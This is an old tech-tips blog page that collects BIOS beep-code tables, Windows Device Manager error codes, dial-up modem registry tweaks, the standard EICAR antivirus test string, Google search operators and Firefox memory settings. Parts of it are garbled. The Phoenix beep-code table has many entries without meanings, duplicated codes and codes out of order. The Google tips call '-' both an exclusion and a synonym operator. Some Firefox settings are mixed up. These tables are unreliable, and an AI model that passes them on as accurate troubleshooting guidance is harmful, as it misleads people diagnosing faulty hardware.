Beep Code Manual For PC

Posted by admin Under Computer on Wednesday Sep 3, 2008
Beep Code Manual For PC
Beep Code Manual, Better Than Gold Techies, American Megatrends Int. & Phoenix

(I’m IT, I use these codes to trouble shoot hardware issues at my job. Enjoy) cold.gif

BIOS Beep Codes

When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system’s hardware, checking to make sure that all of the system’s hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.
Because there are many brands of BIOS, there are no standard beep codes for every BIOS.

The two most-used brands are AMI (American Megatrends International) and Phoenix.

Below are listed the beep codes for AMI systems, and here are the beep codes for Phoenix systems.

AMI Beep Codes

Beep Code Meaning
1 beep DRAM refresh failure. There is a problem in the system memory or the motherboard.
2 beeps Memory parity error. The parity circuit is not working properly.
3 beeps Base 64K RAM failure. There is a problem with the first 64K of system memory.
4 beeps System timer not operational. There is problem with the timer(s) that control functions on the motherboard.
5 beeps Processor failure. The system CPU has failed.
6 beeps Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.
7 beeps Virtual mode exception error.
8 beeps Video memory error. The BIOS cannot write to the frame buffer memory on the video card.
9 beeps ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.
10 beeps CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.
11 beeps Bad cache memory. An error in the level 2 cache memory.
1 long beep, 2 short Failure in the video system.
1 long beep, 3 short A failure has been detected in memory above 64K.
1 long beep, 8 short Display test failure.
Continuous beeping A problem with the memory or video.
BIOS Beep Codes

Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The “-” between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.
4-Beep Codes
Beep Code Meaning
1-1-1-3 Faulty CPU/motherboard. Verify real mode.
1-1-2-1 Faulty CPU/motherboard.
1-1-2-3 Faulty motherboard or one of its components.
1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.
1-1-3-2 Faulty motherboard or one of its components.
1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.
1-1-3-2
1-1-3-3
1-1-3-4 Failure in the first 64K of memory.
1-1-4-1 Level 2 cache error.
1-1-4-3 I/O port error.
1-2-1-1 Power management error.
1-2-1-2
1-2-1-3 Faulty motherboard or one of its components.
1-2-2-1 Keyboard controller failure.
1-2-2-3 BIOS ROM error.
1-2-3-1 System timer error.
1-2-3-3 DMA error.
1-2-4-1 IRQ controller error.
1-3-1-1 DRAM refresh error.
1-3-1-3 A20 gate failure.
1-3-2-1 Faulty motherboard or one of its components.
1-3-3-1 Extended memory error.
1-3-3-3
1-3-4-1
1-3-4-3 Error in first 1MB of system memory.
1-4-1-3
1-4-2-4 CPU error.
1-4-3-1
2-1-4-1 BIOS ROM shadow error.
1-4-3-2
1-4-3-3 Level 2 cache error.
1-4-4-1
1-4-4-2
2-1-1-1 Faulty motherboard or one of its components.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4
2-1-3-2 I/O port failure.
2-1-3-1
2-1-3-3 Video system failure.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4 I/O port failure.
2-1-4-3
2-2-1-1 Video card failure.
2-2-1-3
2-2-2-1
2-2-2-3 Keyboard controller failure.
2-2-3-1 IRQ error.
2-2-4-1 Error in first 1MB of system memory.
2-3-1-1
2-3-3-3 Extended memory failure.
2-3-2-1 Faulty motherboard or one of its components.
2-3-2-3
2-3-3-1 Level 2 cache error.
2-3-4-1
2-3-4-3 Motherboard or video card failure.
2-3-4-1
2-3-4-3
2-4-1-1 Motherboard or video card failure.
2-4-1-3 Faulty motherboard or one of its components.
2-4-2-1 RTC error.
2-4-2-3 Keyboard controller error.
2-4-4-1 IRQ error.
3-1-1-1
3-1-1-3
3-1-2-1
3-1-2-3 I/O port error.
3-1-3-1
3-1-3-3 Faulty motherboard or one of its components.
3-1-4-1
3-2-1-1
3-2-1-2 Floppy drive or hard drive failure.
3-2-1-3 Faulty motherboard or one of its components.
3-2-2-1 Keyboard controller error.
3-2-2-3
3-2-3-1
3-2-4-1 Faulty motherboard or one of its components.
3-2-4-3 IRQ error.
3-3-1-1 RTC error.
3-3-1-3 Key lock error.
3-3-3-3 Faulty motherboard or one of its components.
3-3-3-3
3-3-4-1
3-3-4-3
3-4-1-1
3-4-1-3
3-4-2-1
3-4-2-3
3-4-3-1
3-4-4-1
3-4-4-4 Faulty motherboard or one of its components.
4-1-1-1 Floppy drive or hard drive failure.
4-2-1-1
4-2-1-3
4-2-2-1 IRQ failure.
4-2-2-3
4-2-3-1
4-2-3-3
4-2-4-1 Faulty motherboard or one of its components.
4-2-4-3 Keyboard controller error.
4-3-1-3
4-3-1-4
4-3-2-1
4-3-2-2
4-3-3-1
4-3-4-1
4-3-4-3 Faulty motherboard or one of its components.
4-3-3-2
4-3-3-4 IRQ failure.
4-3-3-3
4-3-4-2 Floppy drive or hard drive failure.
3-Beep Codes
Beep Code Meaning
1-1-2 Faulty CPU/motherboard.
1-1-3 Faulty motherboard/CMOS read-write failure.
1-1-4 Faulty BIOS/BIOS ROM checksum error.
1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.
1-2-2
1-2-3 Faulty motherboard/DMA failure.
1-3-1 Memory refresh failure.
1-3-2
1-3-3
1-3-4 Failure in the first 64K of memory.
1-4-1 Address line failure.
1-4-2 Parity RAM failure.
1-4-3 Timer failure.
1-4-4 NMI port failure.
2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.
3-1-1 Master DMA failure.
3-1-2 Slave DMA failure.
3-1-3
3-1-4 Interrupt controller failure.
3-2-4 Keyboard controller failure.
3-3-1
3-3-2 CMOS error.
3-3-4 Video card failure.
3-4-1 Video card failure.
4-2-1 Timer failure.
4-2-2 CMOS shutdown failure.
4-2-3 Gate A20 failure.
4-2-4 Unexpected interrupt in protected mode.
4-3-1 RAM test failure.
4-3-3 Timer failure.
4-3-4 Time of day clock failure.
4-4-1 Serial port failure.
4-4-2 Parallel port failure.
4-4-3 Math coprocessor.

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Device Manager Error Codes And Solutions

Posted by admin Under Computer, Cool Tricks on Wednesday Sep 3, 2008
Device Manager Error Codes And Solutions
Additionally, a problem code explaining the problem is displayed for the

device. The next step is to understand what each of these error codes mean

and apply the recommended resolution. The list of problem codes and the

recommended resolution are as follows:
Code 1
Code Meaning: The device is not configured correctly.
Recommended Resolution: The software drivers for the device have been

incorrectly installed or incorrectly configured. Select the Driver tab and

click the Update Driver button. This will launch an update Wizard. Follow the

instructions and locate the correct driver for the device to install it.

Additionally, you could try removing the device from Device
Manager and reinstalling it using the Add Hardware Wizard. Verify from the

hardware documentation/manufacturer’s Web site that the device will work with

your OS.
Code 2
Code Meaning: (Not applicable to Windows XP) Depending on the type of device,

this could indicate either a problem with the BIOS or a problem with loading

the device driver.
Recommended Resolution: Check with the BIOS manufacturer for an updated BIOS.

See the BIOS section of this guide on how to update the BIOS.
OR Get an updated driver for the device from the manufacturer and update the

device software by clicking Update Driver on the Driver tab.AND/OR Remove the

device from Device Manager and reinstall it using the Add Hardware Wizard.
Code 3
Code Meaning: The driver is corrupt or your system is running low on memory

and other resources.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.AND/OR Close any applications

using memory.
AND/OR Add more RAM. See the chapter on Memory on how to do that.AND/OR

Remove the device from Device Manager and reinstall it using the Add Hardware

Wizard.
Code 4
Code Meaning: (Not applicable to Windows XP) One of the drivers for the

device may have been corrupted, or its Windows Registry entry may be damaged.
Recommended Resolution: Check the registry by running scan-regw.exe. Click

Start > Run. Type scanregw.exe and hit [Enter]. This program will check the

Registry for corruption and prompt you to restore a previous good version of

the Registry if it encounters any damaged entries. AND Remove the device from

Device Manager and reinstall it using Add Hardware Wizard.
Code 5
Code Meaning: (Not applicable to Windows XP) The device has requested a

resource that Windows doesn’t know how to handle.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.OR Remove the device from

Device Manager and reinstall it using the Add Hardware Wizard.
Code 6
Code Meaning: (Not applicable to Windows XP) Another device is using a

resource that this device needs.
Recommended Resolution: Run msinfo32.exe to get more information on the

conflict. Check the Resources tab to get details of the conflict. Refer to

the hardware documentation and/or the manufacturer’s Web site for

instructions on the correct values that need to be set manually. Clear the

Automatic Settings checkbox,click the Change Setting button and input the

values.OR Run the Update Driver Wizard and reinstall the driver or get an

updated driver from the manufacturer.AND/OR Remove the device from Device

Manager and reinstall it using Add Hardware Wizard.
Code 7
Code Meaning: (Not applicable to Windows XP) The drivers need to be

reinstalled.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.AND/OR Remove the device from

Device Manager and reinstall it using the Add Hardware Wizard.
Code 8
Code Meaning: (Not applicable to Windows XP) Windows cannot load the basic

device loader file that loads the device driver, or it is missing or corrupt,

or a software value for the device is missing or corrupt.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver from the manufacturer.AND/OR Remove the device from

Device Manager and reinstall it using the Add Hardware Wizard.
Code 9
Code Meaning: (Not applicable to Windows XP) The BIOS is reporting the

resources for this device incorrectly and the Windows Registry is invalid.
Recommended Resolution: Run the Update Driver Wizard and reinstall the driver

or get an updated driver and the correct Registry entries from the

manufacturer. AND/OR Remove the device from Device Manager and reinstall it

using the Add Hardware Wizard. OR (as a last resort) Reinstall Windows.
Code 10
Code Meaning: The hardware will report the reason for failure that Windows

should display. If the hardware doesn’t report the reason for failure,

Windows will say that the device is not present, not working correctly or

does not have all the required drivers
installed.
Recommended Resolution: If the failure message is present, use that to

troubleshoot the problem by referring to the documentation or manufacturer’s

Web site. AND/OR
Run the Update Driver Wizard and reinstall the driver or get an updated

driver from the manufacturer. AND/OR Remove the device from Device Manager

and reinstall it using the
Add Hardware Wizard.
Code 11
Code Meaning: (Not applicable to Windows XP) Windows stopped responding when

it tried to start the device, and hence will never try to start this device

again.
Recommended Resolution: Run the Update Driver Wizard and reinstall with an

updated driver from the manufacturer.
Code 12
Code Meaning: Two devices have been assigned the same I/O port, interrupt or

DMA channel. This could be by the BIOS, by Windows,both. Also, it could be

that the BIOS has not allocated enough resources for the device.
Recommended Resolution: Disable one of the devices. (Windows9x/ME:

Double-click, select “Disable in this hardware profile” on the General tab of

the property sheet; Windows 2000/XP: Right-click and select Disable) OR Check

the Resources tab to get details of the conflict. Refer to the hardware

documentation and/or the manufacturer’s Web site for instructions on the

correct values that need to be set manually. Clear the “Automatic Settings”

checkbox, click the “Change Setting” button, and input the values.
AND/OR Reconfigure the BIOS resource allocation if possible. Refer to

themotherboard documentation along with the device documentation.
Code 13
Code Meaning: (Not applicable to Windows XP) Windows did not detect the

hardware.
Recommended Resolution: Verify that the hardware is working and that the

physical installation is correct. Refer to the manufacturer’s documentation

for specific installation instructions.AND Remove the device from Device

Manager and reinstall it using the Add Hardware Wizard.
Code 14
Code Meaning: The device cannot work properly until the system is restarted.
Recommended Resolution: Restart the computer.
Code 15
Code Meaning: (Not applicable to Windows XP) The device is causing a resource

conflict.
Recommended Resolution: Run msinfo32.exe to get more information on the

conflict. Check the Resources tab to get details of the conflict. Refer to

the hardware documentation and/or the manufacturer’s Web site for

instructions on the correct values that need to be set manually. Clear the

“Automatic Settings” checkbox, click the “Change Settings” button, and input

the values.
Code 16
Code Meaning: The device is only partially configured and Windows could not

find all the resources required by this device.Recommended Resolution: Run

msinfo32.exe to get more information on the conflict. Check the Resources tab

to get details of
the conflict. Refer to the hardware documentation and/or the manufacturer’s

Web site for instructions on the correct values that need to be set manually.

Clear the “Automatic Settings” checkbox,click the “Change Settings” button,

and input the values.
Code 17
Code Meaning: (Not applicable to Windows XP) The hardware is a multi-function

device whose driver file is reporting invalid information on how to split the

resources.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard. Use an updated device driver if required.
Code 18
Code Meaning: The drivers for this device should be reinstalled.
Recommended Resolution: Select the driver tab and click the “Update Driver”

button. Use an updated device driver if required.
Code 19
Code Meaning: A problem with the Windows Registry entry for this device was

detected.
Recommended Resolution: In Windows 9x/ME/2000, run the Registry scanner

(scanreg.exe). If this does not solve the problem, run “scanreg.exe

/restore”. If this still does not solve the problem, remove the device and

reinstall it using the Add New Hardware Wizard.In Windows XP, run the

Troubleshooting Wizard from the General tab of the Device Properties sheet.

Click Uninstall and then click “Scan for hardware changes” to reinstall the

device. If that doesn’t solve the problem, restart the computer in Safe Mode

and select “Last Known Good Configuration”.
Code 20
Code Meaning: (Not applicable to Windows XP) One of the drivers for this

device could not be loaded, and Windows is not able to interpret the result.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard.
Code 21
Code Meaning: The device is being removed as it has a problem,and Windows

needs to be restarted.
Recommended Resolution: Wait a few seconds and refresh the Device Manager. If

the device still shows, then restart the computer.
Code 22
Code Meaning: The device has either been disabled by a user or has not

started.
Recommended Resolution: Wait a few seconds and refresh the Device Manager. If

the device still shows, then restart the computer. Trying enabling the

device. If that is not possible, remove the device, reboot the computer and

reinstall it using the Add
Hardware Wizard.
Code 23
Code Meaning: (Not applicable to Windows XP) This indicates a problem with

the drivers of either the primary or secondary display adaptor. The device

loader program delayed loading the device and then did not inform Windows.
Recommended Resolution: Verify that the drivers for all the display adaptors

on the computer are correct and updated. Remove the display adaptors and

reboot. Windows will automatically detect the adaptors and configure them. If

the device is not a display adaptor, then remove the device and reinstall it

using the Add Hardware Wizard.
Code 24
Code Meaning: Windows couldn’t detect the device. This error may happen if

the device has been set for removal.
Recommended Resolution: Verify that the hardware is working and that the

physical installation is correct. Remove the device from Device Manager.

Reinstall it using the Add Hardware Wizard. Update the device driver to the

latest.
Code 25
Code Meaning: (Not applicable to Windows XP) The device installation has not

yet been completed.
Recommended Resolution: Restart the computer. Windows may require to be

reinstalled depending on whether the reboot solves the problem or not.
Code 26
Code Meaning: (Not applicable to Windows XP) The device did not load or not

all the drivers were installed.
Recommended Resolution: Remove the device from Device Manager. Reinstall

using the Add Hardware Wizard.
Code 27:
Code Meaning: (Not applicable to Windows XP)The Windows Registry entry

describing the resources for this device is not valid.
Recommended Resolution: Remove the device from Device Manager. Reinstall it

using the Add Hardware Wizard.
Code 28
Code Meaning: (Not applicable to Windows XP) The driver for the device was

not installed correctly.
Recommended Resolution: Use the Update Driver Wizard to reinstall the

driver.AND/OR
Remove the device from Device Manager. Reinstall it using the Add Hardware

Wizard.
Code 29
Code Meaning: The device has been disabled in the BIOS, or the device will

not work with the version of Windows you are using.
Recommended Resolution: Enable the device in the BIOS. Refer to the

motherboard documentation for details and see the BIOS section of this guide

for further information.
Code 30
Code Meaning: (Not applicable to Windows XP) An IRQ that cannot be shared is

being used by this device and another device driver.Recommended Resolution:

View the resource conflict in the resources tab, if available. Refer to the

manufacturer’s documenta-
tion for either device and change the IRQ allocation manually. You can do

this by clearing the “Automatic Settings” checkbox and clicking the “Change

Settings” button.
Code 31
Code Meaning: To function properly, the device depends on another device

which is not functioning properly. Most likely the other device will also

have a error code.
Recommended Resolution: Troubleshoot the dependant device to enable this

device. If they still don’t work, remove them from Device Manager and

reinstall them using the Add Hardware Wizard.
Code 32
Code Meaning: (a) The installation disk/CD-ROM or network location was not

accessible to install the device drivers.
(b) A driver or service for the device has been disabled.
Recommended Resolution: (a) Restart the computer. If that doesn’t solve the

problem, copy the installation files to the hard disk and run the setup

program for the device.
(b) Remove the device from Device Manager and reinstall it using the Add

Hardware Wizard.
Code 33
Code Meaning: (a) The hardware is not responding to the driver software for

the device.
(b) The software that determines the resources required by the device has

failed.
Recommended Resolution: (a) Obtain an updated driver from the manufacturer.

Remove the device from Device Manager and reinstall it using the Add Hardware

Wizard.
(b) The hardware might have failed and needs to be replaced.
Code 34
Code Meaning: The device has to be configured manually.
Recommended Resolution: Refer to the manufacturer’s documentation for

instructions.
Code 35
Code Meaning: The BIOS is missing a resource assignment entry for the device

and needs to be updated.
Recommended Resolution: Obtain and install a new or updated BIOS from the

computer manufacturer or motherboard manufacturer.
Code 36
Code Meaning: The IRQ configuration has failed.
Recommended Resolution: Refer to the motherboard documentation to see if you

can change the IRQ settings in the BIOS. See the BIOS section of this guide

for further information.
Code 37
Code Meaning: The driver software failed to load.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard.
Code 38
Code Meaning: The driver software is already loaded into RAM and cannot be

loaded again.
Recommended Resolution: Restart the computer.
Code 39
Code Meaning: Some or all the drivers could not be loaded as they may be

corrupted or missing.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard. Update the driver if possible.
Code 40
Code Meaning: The driver’s Registry entry is either corrupted or missing.
Recommended Resolution: Remove the device from Device Manager and reinstall

it using the Add Hardware Wizard. Update the driver if possible.
Code 41
Code Meaning: This usually happens when Windows cannot detect non-Plug and

Play devices.
Recommended Resolution: Obtain an updated driver for the device from the

manufacturer. Remove the device from Device Manager and reinstall it using

the Add Hardware Wizard. Update the driver if possible.
Code 42
Code Meaning: A (system bus) driver has created duplicate entries, or a

serial number is discovered in a new location before it is removed from the

old location.
Recommended Resolution: Restart the computer.
Code 43
Code Meaning: One of the drivers controlling the device notified Windows that

the hardware has failed in some manner, and Windows stopped the device.
Recommended Resolution: Refer to the hardware documentation or the

manufacturer’s Web site to resolve this error.
Code 44
Code Meaning: A software program or system service has shut down the

hardware.
Recommended Resolution: Restart the computer.
Code 45
Code Meaning: The hardware is not connected to the computer. This error is

reported when the computer is set to show all devices previously connected to

the computer.
Recommended Resolution: Reconnect the hardware or ignore the error. No

resolution is necessary.
Code 46
Code Meaning: Windows is not able to access the device as the system is

shutting down.
Recommended Resolution: The device should work correctly when the computer

restarts.
Code 47
Code Meaning: The device has been prepared for safe removal either by

unplugging or pressing an eject button.
Recommended Resolution: Unplug or eject the device and then plug it or insert

it back in to bring the device back online. Note: Restarting the computer

also brings the device back online.
Code 48
Code Meaning: The driver for the device is known to have problems with

Windows.
Recommended Resolution: Obtain an updated driver from the device manufacturer

and update the driver.
Code 49
Code Meaning: The system hive of the Windows registry has reached its maximum

limit and new devices cannot work until the size is reduced.
Recommended Resolution: The system hive contains configuration for the entire

computer. Uninstall all device drivers that are no longer in use to reduce

the size of the system hive.

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Boost 56k Modem!!!

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008

A quide to tweak your 56k modem.

Quote:
CAUTION: For experienced users. It is strongly recommended that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files.

For Windows 98 & ME:

1. First and most important make sure you have the latest drivers for your modem, from the manufacturer.

2. Open modem properties in Control Panel and under advanced port settings slide both all the way to the right.

3. Set maximum port speed to 115,2000.

4. Open Internet Options in IE and under temp internet files - settings select - Automatically.

5. Under extra settings (where init strings go) put in s11=55 to make your modem dial faster or s10=60 if you have frequent disconnects.

6. Make sure you have a good “clean” phone line, the #1 reason 56K modems don’t connect at a good transfer rate is static on your phone line, and remember your throughput is more important than what your connection says it is connected at. If you are connected between 44,000 - 50,000 that is as good as it gets (you are limited to 53,333 by the FCC)

7. Download TCPOptimizer and put in the following settings:
Under the “settings” tab select “dial up” and “custom settings”, in “network adapter selection” choose “dial up adapter”. Then use the following settings:

MaxMTU - 1500
TCP Receive Window - 8760
MTU Discovery - Yes
Black Hole Detect - No
Selective ACKs - Yes
Max Dup ACKs - 2
Time to Live (TTL) - 128
TCP 1323 Options - uncheck both boxes

“Other settings” tab:
Max Connections per Server - 4
Max Connections per 1.0 Server - 8

Then select “Apply changes” and reboot to take effect.

8. Open your registry (start - run - type regedit) and change the following registry entries:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\Class\Net\000X
(where X is a number between 1 and 9)there is a value named SLOWNET, change it from 01 to 00.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\COMBUFF
it has a value called Start, change its value from 00 to 01.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\VCACHE
it has a value named Start, change it from 00 to 01.

9. Open your sys.ini file (start - run -sysedit - ME type system.ini) close the boxes until you are at the one with the title C:\WINDOWS\SYSTEM.INI, under [386enh] add the line ComXXIrqXXbuffer=4096, XX=Com port your modem is on and Irq assigned to your modem, it should look like Com03Irq07buffer=4096. Then select file - save and reboot to take effect.
__________________________________________________ ________________________________

COLOR=”Blue”]For Windows 2K & XP:[/color]
For 2K & XP users I suggest using Cablenut to tweak your settings due to the fact it installs the AFD parameters and allows you to tweak them. These values utilize memory for buffers that help speed up and stabilize your connection and latency. The following are my suggestions for settings to use in Cablenut:

DefaultReceiveWindow = 8192
DefaultSendWindow = 4096
DisableAddressSharing = 1
InitialLargeBufferCount = 10
InitialMediumBufferCount = 24
InitialSmallBufferCount = 32
LargeBufferSize = 4096
MaxFastTransmit = 6400
MediumBufferSize = 1504
PriorityBoost = 0
SmallBufferSize = 128
TransmitWorker = 32
FastSendDatagramThreshold = 1024
EnableFastRouteLookup = 1
EnablePMTUDiscovery = 1
IgnorePushBitOnReceives = 0
GlobalMaxTcpWindowSize = 8760
MaxFreeTcbs = 2000
MaxHashTableSize = 4096
MaxNormLookupMemory = 5000000
SackOpts = 1
SynAttackProtect = 1
Tcp1323Opts = 0
TcpLogLevel = 1
MaxDupAcks = 2
TcpMaxHalfOpen = 100
TcpMaxHalfOpenRetried = 80
TcpRecvSegmentSize = 1460
TcpSendSegmentSize = 1460
TcpTimedWaitDelay = 30
TcpUseRFC1122UrgentPointer = 0
TcpWindowSize = 8760
MaxConnectionsPer1_0Server = 8
MaxConnectionsPerServer = 4
DefaultTTL = 128
DisableUserTOSSetting = 0
TcpMaxDataRetransmissions = 6
DefaultTOSValue = 92

Also add the following entry to your registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\AFD\Parameters
Add the parameter BufferMultiplier and give it a value of 400 hexidecimal which will make it 1024.

1. First and most important make sure you have the latest drivers for your modem, not Microsoft’s, but the one’s from the manufacturer.

2. Open modem properties in Control Panel and under advanced port settings slide both all the way to the right.

3. Set maximum port speed to 115,2000.

4. Under extra settings (where in it strings go) put in s11=55.

5. Make sure you have a good “clean” phone line, the #1 reason 56K modems don’t connect at a good transfer rate is static on your phone line, and remember your throughput is more important than what your connection says it is connected at. If you are connected between 44,000 - 50,000 that is as good as it gets (you are limited to 53,333 by the FCC)

6. Download TCPOptimizer and put in the following settings:

Under the “settings” tab select “dial up” and “custom settings”, in “network adapter selection” choose “dial up adapter”. Then use the following settings:

MaxMTU - 1500
TCP Receive Window - 8760
MTU Discovery - Yes
Black Hole Detect - No
Selective ACKs - Yes
Max Dup ACKs - 2
Time to Live (TTL) - 128
TCP 1323 Options - uncheck both boxes

“Other settings” tab:
Max Connections per Server - 4
Max Connections per 1.0 Server - 8

Then select “Apply changes” and reboot to take effect.
Leave all other boxes blank, select save to registry and reboot.

7. Open Internet Options (IE)and under temp internet files - settings select - Every visit to page.

8. Open your Network Connections from the Control Panel – right click on your Cable connection and select properties, if you have the “QoS Packet Scheduler” installed highlight it and select uninstall.

9. Open up regedit, navigate to
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Explorer/RemoteComputer/NameSpace
find the key named {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Right click on it and delete it.

Also add the following entry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\PriorityControl

(if PriorityControl is not there, make the value) - on the right hand side right click and select new DWORD value, name it IrqXPriority (X = Irq assigned to your modem), then right click it and select modify and give it a decimal value of 1.

__________________________________________________ _________________________________

For ALL OS’s:
The most important thing to remember about dial up is that the maximum you can download ANYTHING under absolute perfect conditions is 6.7kb/s, so don’t be frustrated with your speed, remember it is only 56K (actually 53333). To understand a little better, most dial up connections have a connect speed of somewhere in the mid 40K range, which is very good, so say you connect at 48000, to find your maximum throughput divide that by 8 which gives you 6kb/s, which actually very good for dial up. The tweaks I have provided will help you maximize that throughput as best possible, don’t expect super speeds by tweaking your dial up, be happy if you are getting 6kb/s.

FOR FASTER WEB PAGE LOADING:
This tweak will help web pages load faster, it has no real effect on download speeds, just helps your pc look up websites faster thereby speeding up how fast the page loads and making websurfing more enjoyable.

Navigate to this registry entry and change the following settings:

For XP & 2K
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\ServiceProvider

For 98, 98SE & ME
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\MSTCP\Service Provider

On the right for ALL OS’s change these entries: (ALL values are HEXIDECIMAL)

Class - 1
DnsPriority - 1
HostsPriority - 1
LocalPriority - 1
NetbtPriority - 1

Write down the current values PRIOR to changing them in case it doesn’t work so you can revert back. To change the value right mouse click on the value and select modify and enter the values above once you have done all of them reboot to take effect and see how fast your pages load.

Quote:
P.S. If you have a dial up connection I HIGHLY recommend using a download manager, it will help maximize your download speed, resume downloads if you are disconnected and you can even schedule downloads for the middle of the night (it will automatically dial up and download the desired file and hang up when done) when you aren’t using your pc.

Another Method For XP:

You can’t assume that just because you connected at a speed like 48.3KBps that you will stay there. Today’s modems automatically fall back to a lower speed if the line noise is too high to maintain a faster connection, but sometimes they fall back too soon or too far.

Here’s how to do it:

Click Start the button.
Select Settings.
Click Control Panel.
Double-click on the Modems icon.
Select your modem.
Click the Properties button.
Click the Connections tab.
Click the Advanced button.
In the “Extra settings” field, type S36=7
Click OK to save your settings.

This will force your modem to try to stay connected at high speeds in two different ways before dropping back to an asynchronous mode with auto speed buffering.

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A Trick To Check Ur Antivirus Is Working Properly

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008
Open notepad
Copy this code in the text file….

“X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*”

without qutoes….

then save it with the name fakevirus.exe

If this file got deleted immediately ….that means ur antivirus is working n updated

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12 Expert Google Search Tips

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008

1. Explicit Phrase:
Lets say you are looking for content about internet marketing. Instead of just typing internet marketing into the Google search box, you will likely be better off searching explicitly for the phrase. To do this, simply enclose the search phrase within double quotes.

Example: “internet marketing”

2. Exclude Words:
Lets say you want to search for content about internet marketing, but you want to exclude any results that contain the term advertising. To do this, simply use the “-” sign in front of the word you want to exclude.

Example Search: internet marketing -advertising

3. Site Specific Search:
Often, you want to search a specific website for content that matches a certain phrase. Even if the site doesn’t support a built-in search feature, you can use Google to search the site for your term. Simply use the “site:somesite.com” modifier.

Example: “internet marketing” site:Internet Marketing Blog

4. Similar Words and Synonyms:
Let’s say you are want to include a word in your search, but want to include results that contain similar words or synonyms. To do this, use the “-” in front of the word.

Example: “internet marketing” -professional

5. Specific Document Types:
If you’re looking to find results that are of a specific type, you can use the modifier “filetype:”. For example, you might want to find only PowerPoint presentations related to internet marketing.

Example: “internet marketing” filetype:ppt

6. This OR That:
By default, when you do a search, Google will include all the terms specified in the search. If you are looking for any one of one or more terms to match, then you can use the OR operator. (Note: The OR has to be capitalized).

Example: internet marketing OR advertising

7. Phone Listing:
Let’s say someone calls you on your mobile number and you don’t know how it is. If all you have is a phone number, you can look it up on Google using the phonebook feature.

Example: phonebook:617-555-1212 (note: the provided number does not work – you’ll have to use a real number to get any results).

8. Area Code Lookup:
If all you need to do is to look-up the area code for a phone number, just enter the 3-digit area code and Google will tell you where it’s from.

Example: 617

9. Numeric Ranges:
This is a rarely used, but highly useful tip. Let’s say you want to find results that contain any of a range of numbers. You can do this by using the X..Y modifier (in case this is hard to read, what’s between the X and Y are two periods. This type of search is useful for years (as shown below), prices or anywhere where you want to provide a series of numbers.

Example: president 1940..1950

10. Stock (Ticker Symbol):
Just enter a valid ticker symbol as your search term and Google will give you the current financials and a quick thumb-nail chart for the stock.

Example: GOOG

11. Calculator:
The next time you need to do a quick calculation, instead of bringing up the Calculator applet, you can just type your expression in to Google.

Example: 48512 * 1.02

12. Word Definitions:
If you need to quickly look up the definition of a word or phrase, simply use the “define:” command.

Example: define:plethora

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Reduce Firefox Memory (RAM) Usage

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008

Limit RAM usage

If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Again, go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.

EVEN BETTER:

You can reduce RAM usage further for when Firefox is minimized.

This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go.

Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.

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How to Stop Firefox from Consuming Your Cpu Cycles

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008

Firefox, even up to version 2, has a nasty habit of soaking up all the available CPU and

memory of your system. Here is the fix.
Steps

1. Open Firefox.

2. Type ‘about:config’ into the address line and hit Go or return. This takes you into the

Firefox expert config menu.

3. See if there is an entry called browser.cache.disk.capacity.
* Yes? then modify the value to 16384, close Firefox and restart Firefox. It’s

fixed.
* No? right click somewhere on the about:config page and select Integer. Create an

Integer entry called ‘browser.cache.memory.capacity’ and set it to 16384. Close Firefox and

restart Firefox.It’s fixed.

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Firefox: Extreme Speed !

Posted by admin Under Cool Tricks on Wednesday Sep 3, 2008

